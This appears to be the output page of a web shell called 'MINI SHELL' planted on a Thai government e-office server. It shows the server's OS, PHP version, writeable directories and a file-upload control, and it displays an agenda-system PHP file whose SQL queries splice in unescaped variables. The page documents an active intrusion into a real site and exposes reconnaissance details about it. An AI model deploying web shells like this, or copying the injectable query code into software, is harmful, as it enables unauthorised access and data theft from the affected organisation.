MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/agenda/agenda_backup20091110/function/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/agenda/agenda_backup20091110/function/function.php
<?
/*function Check_subject_late($date_end,$date_late){
global $dbname;
$c_md = date("m-d");
$c_y = date("Y")+543;
$c_date = $c_y."-".$c_md;
$strSQL = "SELECT DATEDIFF('$date_end 23:59:59','$c_date') as t1";
$Result = mysql_db_query($dbname,$strSQL);
$Rs = mysql_fetch_object($Result);
	if($Rs->t1 <= $date_late){
		return true;
	}else{
		return false;
	}

}*/

function Check_menu($status_pri){
	if($status_pri == 1){
		$disable_menu = "disabled='disabled'";
	}else{
		$disable_menu = "";
	}
	return $disable_menu;
}


function Check_subject_late($startdate, $enddate, $returntype,$runid) {
global $dbname;
if ($returntype == "s") #return value in second
$base = 1;
if ($returntype == "m") #return value in minute
$base = 60;
if ($returntype == "h") #return value in hour
$base = (60*60);
if ($returntype == "d") #return value in day
$base = (60*60*24);

$_date1 = explode("-", $startdate);
$d1 = $_date1[2];
$m1 = $_date1[1];
$y1 = $_date1[0] ; #543 Convert ¾.È. à»ç¹ ¤.È.

$_date2 = explode("-", $enddate);
$d2 = $_date2[2];
$m2 = $_date2[1];
$y2 = $_date2[0] - 543; #543 Convert ¾.È. à»ç¹ ¤.È.
//echo $y1."---".$y2."<br>";
if (($y1 < 1970 || $y1 > 2037) || ($y2 < 1970 || $y2 > 2037)) {
return 0;
} else {
$today_stamp = mktime(0,0,0,$m1,$d1,$y1); 
$end_date_stamp = mktime(0,0,0,$m2,$d2,$y2); 
$difference = round(($end_date_stamp-$today_stamp)/$base);
//return $difference;
}
$strSQL = "SELECT * FROM tbl_request WHERE runid='$runid'";
$Result = mysql_db_query($dbname,$strSQL);
$Rs = mysql_fetch_object($Result);
	if($difference <= $Rs->date_late){
		return true;
	}else{
		return false;
	}

}

/*function Check_subject_late($runid){
global $dbname;
$xdate_start = date("Y-m-d");
$strSQL = "SELECT * FROM tbl_request WHERE runid='$runid'";
$Result = mysql_db_query($dbname,$strSQL);
$Rs = mysql_fetch_object($Result);
$arr_d = explode("-",$Rs->date_end);
$d1 = $arr_d[2];
$m1= $arr_d[1];
$y1 = $arr_d[0]-543;
$xdate_end = $y1."-".$m1."-".$d1;
$xtype_date = "d";
$check_time = datediff($xdate_start,$xdate_end,$xtype_date);
	if($check_time <= $Rs->date_late){
		return true;
	}else{
		return false;
	}
}
*/

function Check_subject_count($startdate, $enddate, $returntype,$runid) {
global $dbname;
if ($returntype == "s") #return value in second
$base = 1;
if ($returntype == "m") #return value in minute
$base = 60;
if ($returntype == "h") #return value in hour
$base = (60*60);
if ($returntype == "d") #return value in day
$base = (60*60*24);

$_date1 = explode("-", $startdate);
$d1 = $_date1[2];
$m1 = $_date1[1];
$y1 = $_date1[0] ; #543 Convert ¾.È. à»ç¹ ¤.È.

$_date2 = explode("-", $enddate);
$d2 = $_date2[2];
$m2 = $_date2[1];
$y2 = $_date2[0] - 543; #543 Convert ¾.È. à»ç¹ ¤.È.
//echo $y1."---".$y2."<br>";
if (($y1 < 1970 || $y1 > 2037) || ($y2 < 1970 || $y2 > 2037)) {
return 0;
} else {
$today_stamp = mktime(0,0,0,$m1,$d1,$y1); 
$end_date_stamp = mktime(0,0,0,$m2,$d2,$y2); 
$difference = round(($end_date_stamp-$today_stamp)/$base);
return $difference;
//echo $difference;
}

}

?>

Anon7 - 2021